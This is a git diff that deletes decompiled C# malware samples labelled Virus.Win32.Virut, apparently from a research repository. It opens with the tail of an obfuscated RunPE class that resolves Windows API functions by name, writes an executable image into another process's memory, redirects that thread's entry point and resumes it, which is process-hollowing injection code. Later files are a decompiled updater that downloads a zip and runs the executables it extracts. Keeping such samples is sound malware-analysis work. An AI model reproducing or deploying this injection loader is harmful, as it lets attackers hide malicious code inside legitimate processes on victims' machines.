RunpeClass.jx95Iq jx95Iq5 = jx95Iq1; - IntPtr process7 = info.Process; - int address = (int) num13 + (int) structure3.Address; - byte[] buffer = numArray; - int size = (int) structure3.Size; - num3 = (int) num2; - ref int local = ref num3; - int num20 = jx95Iq5(process7, address, buffer, size, out local) ? 1 : 0; - num2 = (long) num3; - } - } - byte[] bytes = BitConverter.GetBytes(num13); - RunpeClass.jx95Iq jx95Iq6 = jx95Iq1; - IntPtr process8 = info.Process; - int address3 = (int) ((long) context.Ebx + 8L); - byte[] buffer1 = bytes; - num3 = 0; - ref int local5 = ref num3; - int num21 = jx95Iq6(process8, address3, buffer1, 4, out local5) ? 1 : 0; - context.Eax = num13 + structure2.Optional.Address; - int num22 = mzt5Dq(info.Thread, ref context) ? 1 : 0; - int num23 = (int) g4Ch(info.Thread); - } - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr LoadLibraryA(string uj62Piq); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr handle, string uj62Piq); - - private static T Z8Wro8Mry4Fzhw(string uj62Piq, string x7FVvcu1Ew) - { - if (uj62Piq == null) - throw new ArgumentNullException(nameof (uj62Piq)); - return x7FVvcu1Ew != null ? (T) Marshal.GetDelegateForFunctionPointer(RunpeClass.GetProcAddress(RunpeClass.LoadLibraryA(uj62Piq), x7FVvcu1Ew), typeof (T)) : throw new ArgumentNullException(nameof (x7FVvcu1Ew)); - } - - public struct ACL - { - public byte AclRevision; - public byte Sbz1; - public short AclSize; - public short AceCount; - public short Sbz2; - } - - public struct GENERIC_MAPPING - { - public int GenericRead; - public int GenericWrite; - public int GenericExecute; - public int GenericAll; - } - - public struct SECURITY_DESCRIPTOR - { - public byte Revision; - public byte Sbz1; - public int Control; - public int Owner; - public int Group; - public RunpeClass.ACL Sacl; - public RunpeClass.ACL Dacl; - } - - public struct POINTAPI - { - public int x; - public int y; - } - - public struct ACL2 - { - public byte AclRevision; - public byte Sbz1; - public short AclSize; - public short AceCount; - public short Sbz2; - } - - public struct POINTAPI6 - { - public int x; - public int y; - } - - public struct ACL3 - { - public byte AclRevision; - public byte Sbz1; - public short AclSize; - public short AceCount; - public short Sbz2; - } - - public struct ACL5 - { - public byte AclRevision; - public byte Sbz1; - public short AclSize; - public short AceCount; - public short Sbz2; - } - - public struct LARGE_INTEGER - { - public int lowpart; - public int highpart; - } - - public struct PALETTEENTRY - { - public byte peRed; - public byte peGreen; - public byte peBlue; - public byte peFlags; - } - - public struct COORD - { - public short x; - public short y; - } - - public struct EVENTLOGRECORD - { - public int Length; - public int Reserved; - public int RecordNumber; - public int TimeGenerated; - public int TimeWritten; - public int EventID; - public short EventStructure; - public short NumStrings; - public short EventCategory; - public short ReservedFlags; - public int ClosingRecordNumber; - public int StringOffset; - public int UserSidLength; - public int UserSidOffset; - public int DataLength; - public int DataOffset; - } - - public struct RECT - { - public int Left; - public int Top; - public int Right; - public int Bottom; - } - - public struct WAVEHDR - { - public string lpData; - public int dwBufferLength; - public int dwBytesRecorded; - public int dwUser; - public int dwFlags; - public int dwLoops; - public int lpNext; - public int Reserved; - } - - public struct POINTAPI7 - { - public int x; - public int y; - } - - public struct CANDIDATEFORM - { - public int dwIndex; - public int dwStyle; - public RunpeClass.POINTAPI ptCurrentPos; - public RunpeClass.RECT rcArea; - } - - public struct RECT3 - { - public int Left; - public int Top; - public int Right; - public int Bottom; - } - - public struct POINTAPI1 - { - public int x; - public int y; - } - - public struct COMPOSITIONFORM - { - public int dwStyle; - public RunpeClass.POINTAPI ptCurrentPos; - public RunpeClass.RECT rcArea; - } - - public struct POINTAPI2 - { - public int x; - public int y; - } - - public struct MIDIHDR - { - public string lpData; - public int dwBufferLength; - public int dwBytesRecorded; - public int dwUser; - public int dwFlags; - public int lpNext; - public int Reserved; - } - - public struct MIDIINCAPS - { - public short wMid; - public short wPid; - public int vDriverVersion; - public string szPname; - } - - public struct MIXERCONTROLDETAILS - { - public int cbStruct; - public int dwControlID; - public int cChannels; - public int item; - public int cbDetails; - public int paDetails; - } - - public struct MIXERCAPS - { - public short wMid; - public short wPid; - public int vDriverVersion; - public string szPname; - public int fdwSupport; - public int cDestinations; - } - - public struct MIXERCONTROL - { - public int cbStruct; - public int dwControlID; - public int dwControlStructure; - public int fdwControl; - public int cMultipleItems; - public string szShortName; - public string szName; - public int[] Bounds; - public int[] Metrics; - } - - public struct MIXERLINECONTROLS - { - public int cbStruct; - public int dwLineID; - public int dwControl; - public int cControls; - public int cbmxctrl; - public RunpeClass.MIXERCONTROL pamxctrl; - } - - public struct Context - { - public uint Flags; - public uint D0; - public uint D1; - public uint D2; - public uint D3; - public uint D6; - public uint D7; - public RunpeClass.Save Save; - public uint SG; - public uint SF; - public uint SE; - public uint SD; - public uint Edi; - public uint Esi; - public uint Ebx; - public uint Edx; - public uint Ecx; - public uint Eax; - public uint Ebp; - public uint Eip; - public uint SC; - public uint EFlags; - public uint Esp; - public uint SS; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - public byte[] Registers; - } - - public struct Save - { - public uint Control; - public uint Status; - public uint Tag; - public uint ErrorO; - public uint ErrorS; - public uint DataO; - public uint DataS; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] - public byte[] RegisterArea; - public uint State; - } - - public struct Misc - { - public uint Address; - public uint Size; - } - - public struct SectionHeader - { - public byte uj62Piq; - public RunpeClass.Misc Misc; - public uint Address; - public uint Size; - public uint Pointer; - public uint PRelocations; - public uint PLines; - public uint NRelocations; - public uint NLines; - public uint Flags; - } - - public struct ProcessInformation - { - public IntPtr Process; - public IntPtr Thread; - public int ProcessId; - public int ThreadId; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct StartupInformation - { - public int CB; - public string ReservedA; - public string Desktop; - public string Title; - public int X; - public int Y; - public int XSize; - public int YSize; - public int XCount; - public int YCount; - public int Fill; - public int Flags; - public short ShowWindow; - public short ReservedB; - public int ReservedC; - public int input; - public int Output; - public int Error; - } - - public struct SecurityFlags - { - public int Length; - public IntPtr Descriptor; - public int Inherit; - } - - public struct DosHeader - { - public ushort Magic; - public ushort Last; - public ushort Pages; - public ushort Relocations; - public ushort Size; - public ushort Minimum; - public ushort Maximum; - public ushort SS; - public ushort SP; - public ushort Checksum; - public ushort IP; - public ushort CS; - public ushort Table; - public ushort Overlay; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] ReservedA; - public ushort ID; - public ushort Info; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] ReservedB; - public int Address; - } - - public struct NtHeaders - { - public uint Signature; - public RunpeClass.File_Header File; - public RunpeClass.Optional_Headers Optional; - } - - public struct File_Header - { - public ushort Machine; - public ushort Sections; - public uint Stamp; - public uint Table; - public uint Symbols; - public ushort Size; - public ushort Flags; - } - - public struct Optional_Headers - { - public ushort Magic; - public byte Major; - public byte Minor; - public uint SCode; - public uint IData; - public uint UData; - public uint Address; - public uint Code; - public uint Data; - public uint Image; - public uint SectionA; - public uint FileA; - public ushort MajorO; - public ushort MinorO; - public ushort MajorI; - public ushort MinorI; - public ushort MajorS; - public ushort MinorS; - public uint Version; - public uint SImage; - public uint SHeaders; - public uint Checksum; - public ushort Subsystem; - public ushort Flags; - public uint SSReserve; - public uint SSCommit; - public uint SHReserve; - public uint SHCommit; - public uint LFlags; - public uint Count; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public RunpeClass.zz_fn5tlr8gno8w7wc8j[] YZvBm2GrvaOfwbe9yyc; - } - - public struct zz_fn5tlr8gno8w7wc8j - { - public uint Address; - public uint Size; - } - - public delegate bool mrqs( - string uj62Piq, - string command, - ref RunpeClass.SecurityFlags process, - ref RunpeClass.SecurityFlags thread, - bool inherit, - uint flags, - IntPtr system, - string current, - [In] ref RunpeClass.StartupInformation startup, - out RunpeClass.ProcessInformation info); - - public delegate bool jx95Iq( - IntPtr process, - int address, - byte[] buffer, - int size, - out int written); - - public delegate int i5Ondq( - IntPtr process, - int address, - ref int buffer, - int size, - ref int read); - - public delegate IntPtr qh4E( - IntPtr process, - int address, - uint size, - uint type, - uint protect); - - public delegate long enx2Ma(IntPtr process, int address); - - public delegate uint g4Ch(IntPtr thread); - - public delegate bool evzew(IntPtr thread, ref RunpeClass.Context context); - - public delegate bool mzt5Dq(IntPtr thread, ref RunpeClass.Context context); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.csproj deleted file mode 100644 index 8cc3e4b8..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.csproj +++ /dev/null @@ -1,42 +0,0 @@ - - - - - Debug - AnyCPU - {1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B} - WinExe - smss - 0.0.0.0 - smss - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.sln deleted file mode 100644 index e067f31f..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "smss", "Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd.csproj", "{1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1B058CE8-0D41-44E4-B7B2-B7CAE2C55F8B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AppFile.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AppFile.cs deleted file mode 100644 index ee08a787..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AppFile.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Toya.Upgrade.AppFile -// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368 -// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe - -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -namespace Toya.Upgrade -{ - public class AppFile - { - private static string filePath = Application.StartupPath + "\\Toya.ini"; - private static StringBuilder sbAdjustINIValues = new StringBuilder(2048); - private static StringBuilder sbTemp = new StringBuilder(2048); - private static string[] AdjustINIValues; - private static string[] INIValues; - private static int Count = 28; - private static int index = 0; - private static string temp; - - [DllImport("kernel32")] - private static extern long WritePrivateProfileString( - string section, - string key, - string val, - string filePath); - - [DllImport("kernel32")] - private static extern int GetPrivateProfileString( - string section, - string key, - string def, - StringBuilder retVal, - int size, - string filePath); - - public static long Write(string section, string key, string val) => AppFile.WritePrivateProfileString(section, key, val, AppFile.filePath); - - public static string Read( - string section, - string key, - string def, - StringBuilder retVal, - int size) - { - AppFile.GetPrivateProfileString(section, key, def, AppFile.sbTemp, size, AppFile.filePath); - return AppFile.sbTemp.ToString(); - } - - public static string Read(string section, string key, int size) - { - AppFile.GetPrivateProfileString(section, key, "无法读取对应数值", AppFile.sbTemp, size, AppFile.filePath); - return AppFile.sbTemp.ToString(); - } - - public static string Read(string section, string key, string def, int size) - { - AppFile.GetPrivateProfileString(section, key, def, AppFile.sbTemp, size, AppFile.filePath); - return AppFile.sbTemp.ToString(); - } - - public static void AdjustINIValue(string section, string key, string val) => AppFile.AdjustINIValue(section, key, val, AppFile.filePath); - - private static void AdjustINIValue(string section, string key, string val, string filePath) - { - try - { - if (val.Trim() == "") - return; - AppFile.GetPrivateProfileString(section, key, "", AppFile.sbAdjustINIValues, 2048, filePath); - AppFile.INIValues = AppFile.sbAdjustINIValues.ToString().Split('\\'); - AppFile.AdjustINIValues = val.Trim().Split(' '); - foreach (string adjustIniValue in AppFile.AdjustINIValues) - { - if (adjustIniValue != "") - { - AppFile.index = -1; - for (int index = 0; index < AppFile.INIValues.Length; ++index) - { - if (adjustIniValue == AppFile.INIValues[index]) - { - AppFile.index = index; - break; - } - } - if (AppFile.index == -1 && AppFile.INIValues.Length < AppFile.Count) - { - AppFile.INIValues = (string[]) AppFile.Redim((Array) AppFile.INIValues, AppFile.INIValues.Length + 1); - AppFile.INIValues[AppFile.INIValues.Length - 1] = adjustIniValue; - } - if (AppFile.index > 0 && AppFile.index < AppFile.INIValues.Length) - { - AppFile.temp = AppFile.INIValues[AppFile.index - 1]; - AppFile.INIValues[AppFile.index - 1] = adjustIniValue; - AppFile.INIValues[AppFile.index] = AppFile.temp; - } - if (AppFile.index == -1 && AppFile.INIValues.Length >= AppFile.Count) - AppFile.INIValues[AppFile.INIValues.Length - 2] = adjustIniValue; - } - } - AppFile.sbAdjustINIValues.Remove(0, AppFile.sbAdjustINIValues.Length); - foreach (string iniValue in AppFile.INIValues) - { - if (iniValue != "") - { - AppFile.sbAdjustINIValues.Append(iniValue); - AppFile.sbAdjustINIValues.Append("\\"); - } - } - AppFile.WritePrivateProfileString(section, key, AppFile.sbAdjustINIValues.ToString(), filePath); - } - catch (Exception ex) - { - throw ex; - } - } - - private static Array Redim(Array origArray, int desiredSize) - { - Array instance = Array.CreateInstance(origArray.GetType().GetElementType(), desiredSize); - Array.Copy(origArray, 0, instance, 0, Math.Min(origArray.Length, desiredSize)); - return instance; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AssemblyInfo.cs deleted file mode 100644 index a53b0ac1..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Toya.Upgrade")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("Toya.Upgrade")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("9d9973d3-0f0b-41ab-b6bf-84a87a51d3fa")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.cs deleted file mode 100644 index 6276aa27..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.cs +++ /dev/null @@ -1,286 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Toya.Upgrade.FrmMain -// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368 -// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe - -using ICSharpCode.SharpZipLib.Zip; -using System; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Threading; -using System.Windows.Forms; - -namespace Toya.Upgrade -{ - public class FrmMain : Form - { - private IContainer components; - private Label label1; - private Label label2; - private Label lblStatus; - private Label lblSpeed; - private Label lblMessage; - private ProgressBar progressBarControlDownload; - private Thread ThreadDown; - private bool IsDownFile = true; - private string StrFileName; - private string StrUrl; - private bool ReTransfers; - private string FileName = string.Empty; - private string Caption; - private string UpdateUrl; - private string[] args; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FrmMain)); - this.label1 = new Label(); - this.label2 = new Label(); - this.lblStatus = new Label(); - this.lblSpeed = new Label(); - this.lblMessage = new Label(); - this.progressBarControlDownload = new ProgressBar(); - this.SuspendLayout(); - this.label1.AutoSize = true; - this.label1.Location = new Point(2, 20); - this.label1.Name = "label1"; - this.label1.Size = new Size(89, 12); - this.label1.TabIndex = 7; - this.label1.Text = "下载文件状态:"; - this.label2.AutoSize = true; - this.label2.Location = new Point(2, 44); - this.label2.Name = "label2"; - this.label2.Size = new Size(89, 12); - this.label2.TabIndex = 8; - this.label2.Text = "下载文件速率:"; - this.lblStatus.AutoSize = true; - this.lblStatus.Location = new Point(86, 20); - this.lblStatus.Name = "lblStatus"; - this.lblStatus.Size = new Size(113, 12); - this.lblStatus.TabIndex = 9; - this.lblStatus.Text = "正在初始化下载……"; - this.lblSpeed.AutoSize = true; - this.lblSpeed.Location = new Point(86, 44); - this.lblSpeed.Name = "lblSpeed"; - this.lblSpeed.Size = new Size(41, 12); - this.lblSpeed.TabIndex = 10; - this.lblSpeed.Text = "0KB/秒"; - this.lblMessage.ForeColor = Color.Red; - this.lblMessage.Location = new Point(12, 107); - this.lblMessage.Name = "lblMessage"; - this.lblMessage.Size = new Size(532, 21); - this.lblMessage.TabIndex = 11; - this.progressBarControlDownload.Location = new Point(5, 71); - this.progressBarControlDownload.Name = "progressBarControlDownload"; - this.progressBarControlDownload.Size = new Size(539, 23); - this.progressBarControlDownload.TabIndex = 12; - this.AutoScaleDimensions = new SizeF(6f, 12f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(556, 137); - this.Controls.Add((Control) this.progressBarControlDownload); - this.Controls.Add((Control) this.lblMessage); - this.Controls.Add((Control) this.lblSpeed); - this.Controls.Add((Control) this.lblStatus); - this.Controls.Add((Control) this.label2); - this.Controls.Add((Control) this.label1); - this.FormBorderStyle = FormBorderStyle.FixedDialog; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (FrmMain); - this.ShowInTaskbar = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = "通亚物流软件在线升级系统V3.5"; - this.TopMost = true; - this.Load += new EventHandler(this.FrmMain_Load); - this.ResumeLayout(false); - this.PerformLayout(); - } - - public static string CompanyCode - { - get - { - string companyCode = string.Empty; - if (companyCode == string.Empty) - { - companyCode = ConfigurationManager.AppSettings[nameof (CompanyCode)]; - if (string.IsNullOrEmpty(companyCode)) - companyCode = ""; - } - return companyCode; - } - } - - public FrmMain() => this.InitializeComponent(); - - public FrmMain(string[] args) - { - this.InitializeComponent(); - this.args = args; - } - - private void FrmMain_Load(object sender, EventArgs e) - { - if (this.args.Length == 0) - { - int num = (int) MessageBox.Show("升级程序启动失败", "提示", MessageBoxButtons.OK, MessageBoxIcon.Hand); - Application.Exit(); - } - this.UpdateUrl = AppFile.Read("UpgrateConfig", "UpdateUrl", " http://www.youlm.com/Upgrade", 32); - this.Caption = AppFile.Read("UpgrateConfig", "UpdateText", "通亚物流软件在线升级系统V3.5", 32); - this.Text = this.Caption; - this.FileName = "/Toya.Upgrade." + FrmMain.CompanyCode + ".zip"; - this.Upgrade(); - } - - private void Upgrade() - { - this.ReTransfers = true; - this.StrUrl = this.UpdateUrl + this.FileName; - if (System.IO.File.Exists(Application.StartupPath + this.FileName)) - { - System.IO.File.Delete(Application.StartupPath + this.FileName); - System.IO.File.Delete(Application.StartupPath + "/Toya.Upgrade.Dos.exe"); - } - this.StrFileName = Application.StartupPath + this.FileName; - this.ThreadDown = new Thread(new ThreadStart(this.DownFile)); - this.ThreadDown.Start(); - } - - private void SetStatusText(string value) => this.lblStatus.Text = value; - - private void SetSpeedText(string value) => this.lblSpeed.Text = value; - - private void SetMessageText(string value) => this.lblMessage.Text = value; - - private void progressBarControlDownloadValue(int value) => this.progressBarControlDownload.Value = value; - - private void progressBarControlDownloadMaximum(int value) => this.progressBarControlDownload.Maximum = value; - - private void DownFile() - { - long num = 0; - FileStream fileStream; - if (this.ReTransfers & System.IO.File.Exists(this.StrFileName)) - { - fileStream = new FileStream(this.StrFileName, FileMode.Open, FileAccess.ReadWrite); - num = fileStream.Length; - fileStream.Seek(num, SeekOrigin.Current); - } - else - fileStream = new FileStream(this.StrFileName, FileMode.Create, FileAccess.Write); - try - { - this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "读取远程文件大小..."); - HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create(this.StrUrl); - if (num > 0L) - httpWebRequest.AddRange((int) num); - Stream responseStream = httpWebRequest.GetResponse().GetResponseStream(); - this.progressBarControlDownload.BeginInvoke((Delegate) new FrmMain.ChangeInt(this.progressBarControlDownloadMaximum), (object) (int) httpWebRequest.GetResponse().ContentLength); - this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "正在下载数据...."); - byte[] buffer = new byte[204800]; - DateTime now = DateTime.Now; - int count; - while ((count = responseStream.Read(buffer, 0, buffer.Length)) > 0) - { - fileStream.Write(buffer, 0, count); - num += (long) count; - TimeSpan timeSpan = DateTime.Now - now; - this.lblSpeed.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetSpeedText), (object) string.Format("{0}KB/秒", (object) (int) ((double) num / timeSpan.TotalSeconds / 1024.0))); - this.progressBarControlDownload.BeginInvoke((Delegate) new FrmMain.ChangeInt(this.progressBarControlDownloadValue), (object) (int) num); - if (!this.IsDownFile) - break; - } - fileStream.Close(); - responseStream.Close(); - this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "文件下载完毕!"); - this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) "正在解压软件包和更新!"); - Thread.Sleep(5000); - if (!this.UnZIP()) - return; - AppFile.Write("system", "VersionMain", this.args[0]); - if (System.IO.File.Exists(Application.StartupPath + "/Toya.Upgrade.Dos.exe")) - new Process() - { - StartInfo = { - FileName = "Toya.Upgrade.Dos.exe", - UseShellExecute = true - } - }.Start(); - new Process() - { - StartInfo = { - FileName = "Toya.exe", - UseShellExecute = true - } - }.Start(); - Application.Exit(); - } - catch (Exception ex) - { - fileStream.Close(); - this.lblStatus.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetStatusText), (object) ("下载出错," + ex.Message)); - } - } - - private bool UnZIP() - { - try - { - using (ZipInputStream zipInputStream = new ZipInputStream((Stream) System.IO.File.OpenRead(Application.StartupPath + this.FileName))) - { -label_13: - ZipEntry nextEntry; - while ((nextEntry = zipInputStream.GetNextEntry()) != null) - { - string directoryName = Path.GetDirectoryName(nextEntry.Name); - string fileName = Path.GetFileName(nextEntry.Name); - if (directoryName.Length > 0) - Directory.CreateDirectory(directoryName); - if (fileName != string.Empty) - { - using (FileStream fileStream = System.IO.File.Create(nextEntry.Name)) - { - byte[] buffer = new byte[2048]; - while (true) - { - int count = ((Stream) zipInputStream).Read(buffer, 0, buffer.Length); - if (count > 0) - fileStream.Write(buffer, 0, count); - else - goto label_13; - } - } - } - } - } - return true; - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.Message); - this.lblMessage.BeginInvoke((Delegate) new FrmMain.ChangeString(this.SetMessageText), (object) "升级出现错误,请关闭通亚物流软件,然后尝试从新升级。"); - return false; - } - } - - private void btnUpgrade_Click(object sender, EventArgs e) => this.Upgrade(); - - private delegate void ChangeInt(int value); - - private delegate void ChangeString(string value); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.resx deleted file mode 100644 index ca1e3f47..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAF6FAQACAAABAAUAgIAAAAEAIAAoCAEAVgAAAEBAAAABACAAKEIAAH4IAQAwMAAAAQAgAKglAACmSgEAICAAAAEAIACoEAAATnABABAQAAABACAAaAQAAPaAAQAoAAAAgAAAAAABAAABACAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAgAAAAEAAAABAAAAAgAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAA